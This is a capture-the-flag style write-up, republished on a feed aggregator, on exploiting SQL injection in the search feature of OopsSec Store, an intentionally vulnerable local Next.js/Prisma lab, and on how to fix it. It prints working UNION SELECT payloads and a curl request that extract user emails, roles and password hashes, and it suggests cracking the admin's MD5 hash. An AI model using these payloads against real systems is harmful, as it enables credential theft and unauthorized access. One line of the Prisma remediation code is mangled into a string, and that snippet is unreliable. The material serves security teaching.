惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

大猫的无限游戏
大猫的无限游戏
J
Java Code Geeks
小众软件
小众软件
D
Docker
腾讯CDC
H
Hackread – Cybersecurity News, Data Breaches, AI and More
V
V2EX
博客园 - 叶小钗
GbyAI
GbyAI
Microsoft Azure Blog
Microsoft Azure Blog
Stack Overflow Blog
Stack Overflow Blog
B
Blog RSS Feed
酷 壳 – CoolShell
酷 壳 – CoolShell
博客园 - 【当耐特】
IT之家
IT之家
博客园 - 司徒正美
M
MIT News - Artificial intelligence
T
The Blog of Author Tim Ferriss
The GitHub Blog
The GitHub Blog
罗磊的独立博客
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
L
LangChain Blog
阮一峰的网络日志
阮一峰的网络日志
C
Check Point Blog

DEV Community

Authentication Security Deep Dive: From Brute Force to Salted Hashing (With Java Examples) Why AI Systems Don’t Fail — They Drift Spilling beans for how i learn for exam😁"Reinforcement Learning Cheat Sheet" I Replaced Chrome with Safari for AI Browser Automation. Here's What Broke (and What Finally Worked) How Python Borrows Other People's Work The $40 Architecture: Processing 1 Billion API Requests with 99.99% Uptime Vibe Coding: A Workflow Guide (From Zero to SaaS) Most webhook security guides protect the wrong side. The scary part is delivery. Headless CMS for TanStack Start: Build a Blog with Cosmic EU Age Verification App "Hacked in 2 Minutes" — What Actually Happened Comfy Cloud’s delete function does not actually remove files Running AI Models on GPU Cloud Servers: A Beginner Guide Event-driven media intelligence with AWS Step Functions and Bedrock I scored 500 AI prompts across 8 quality dimensions — here's what broke How to Call Google Gemini API from Next.js (Free Tier, No Backend Needed) The Portal Protocol: Reclaiming Human Connection in the Age of AI How to Fix Your Team's Scattered Knowledge Problem With a Self-Hosted Forum Intro to tc Cloud Functors: A Graph-First Mental Model for the Modern Cloud Designing Multi-Tenant Backends With Both Ownership and Team Access I Built a Neumorphic CSS Library with 77+ Components — Here's What I Learned PostgreSQL Performance Optimization: Why Connection Pooling Is Critical at Scale Cómo construí un SaaS multi-rubro para gestionar expensas en Argentina con FastAPI + Vue 3 🚀 I Built an Ethical Hacking Scanner Tool – Open Source Project I Replaced /usage and /context in Claude Code With a Single Statusline A Pythonic Way to Handle Emails (IMAP/SMTP) with Auto-Discovery and AI-Ready Design I Collected 8.9 Million Polymarket Price Points — Here's What I Found About How Markets Really Move EcoTrack AI — Carbon Footprint Tracker & Dashboard Everyone's Using AI. No One Agrees How. 5 self-hosted ebook managers worth trying in 2026 Building Your First AI Agent with LangChain: From Chatbot to Autonomous Assistant
The ORM Didn't Save You: SQL Injection in a Prisma Codebase
Oopssec Stor · 2026-04-29 · via DEV Community

This writeup walks through a SQL injection in the product search feature of the oss-oopssec-store, an intentionally vulnerable e-commerce app for learning web security.

The lab is built with Next.js and Prisma, so you might assume the ORM shields you from SQLi by default, and it mostly does, until someone reaches for $queryRawUnsafe and drops user input straight into a raw query.

That's exactly what happens here. The search input gets interpolated into the SQL string with no sanitization, so you can manipulate the query to pull data from other tables and grab the flag.

Table of contents


Lab setup

Spin up the lab locally:

npx create-oss-store oss-store
cd oss-store
npm run dev

Enter fullscreen mode Exit fullscreen mode

Or with Docker (no Node.js required):

docker run -p 3000:3000 leogra/oss-oopssec-store

Enter fullscreen mode Exit fullscreen mode

The app runs at http://localhost:3000.

OopsSec Store homepage interface

Feature overview and attack surface

The target here is the product search bar in the navigation header. It lets users search products by name or description, hitting this endpoint:

/api/products/search?q=<search_term>

Enter fullscreen mode Exit fullscreen mode

On the backend, the q parameter gets interpolated directly into a SQL query. No escaping, no parameterization. Whatever you type becomes part of the SQL statement.

Product search input field

You can close the intended query context and tack on your own UNION SELECT.

Exploitation procedure

Initial behavior verification

Start by searching for something normal, like fresh. You should get product results back, confirming the endpoint works and actually uses the q parameter.

Injection probing

Now try this payload:

' UNION SELECT 1,2,3,4,5--

Enter fullscreen mode Exit fullscreen mode

If the page renders without errors, you're in. The single quote broke out of the LIKE clause, and the UNION SELECT merged in.

SQL injection payload submitted in search box

UNION-based data extraction

Time to pull real data. Submit this:

DELIVERED' UNION SELECT id, email, password, role, addressId FROM users--

Enter fullscreen mode Exit fullscreen mode

This merges the users table into the product results. The app doesn't check where the columns came from, so it happily returns user credentials alongside product listings.

Network response showing manipulated query results

Same thing via curl:

curl "http://localhost:3000/api/products/search?q=DELIVERED%27%20UNION%20SELECT%20id%2C%20email%2C%20password%2C%20role%2C%20addressId%20FROM%20users--"

Enter fullscreen mode Exit fullscreen mode

Vulnerable code analysis

Here's the problem. The query is built with string concatenation:

const sqlQuery = `
  SELECT 
    id,
    name,
    description,
    price,
    "imageUrl"
  FROM products
  WHERE name LIKE '%${query}%' OR description LIKE '%${query}%'
  ORDER BY name ASC
  LIMIT 50
`;

const results = await prisma.$queryRawUnsafe(sqlQuery);

Enter fullscreen mode Exit fullscreen mode

The query parameter is dropped directly into the SQL string, and $queryRawUnsafe does exactly what the name suggests — it skips Prisma’s parameterization entirely. No escaping either. Single quotes, comment delimiters, anything goes.

So when you send:

DELIVERED' UNION SELECT ...

Enter fullscreen mode Exit fullscreen mode

the quote closes the LIKE clause, and everything after it runs as SQL. The database user can read other tables, so the users table comes back for free.

This is CWE-89: Improper Neutralization of Special Elements used in an SQL Command.

Remediation

Don't build SQL queries with string interpolation. Use Prisma's query builder instead:

const results = await prisma.product.findMany({
  where: {
    OR: [
      { name: { contains: query, mode: "insensitive" } },
      { description: "{ contains: query, mode: \"insensitive\" } },"
    ],
  },
});

Enter fullscreen mode Exit fullscreen mode

User input stays data, never becomes executable SQL.

If you need raw SQL with Prisma, use $queryRaw (parameterized), not $queryRawUnsafe. With MySQL and no ORM, use prepared statements. You should also restrict the database user's permissions so that even if someone does find an injection, the damage is limited. Logging unusual query patterns helps too — you want to know when someone is poking at your search bar with UNION SELECT.

Go further

The leaked data includes an admin email with an MD5 password hash. MD5 is trivially crackable at this point, so you can try recovering the password offline and logging in as admin. From there, you'd have access to restricted endpoints where other flags might be hiding.


Disclaimers

Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.

Do not exploit vulnerabilities on systems you don’t have explicit authorization to test. Unauthorized access to computer systems is illegal. Always obtain proper permission before performing security testing.

Feedback & Support

Having trouble following this writeup? Found a typo or have suggestions for improvement?

Feel free to open an issue or start a discussion on GitHub.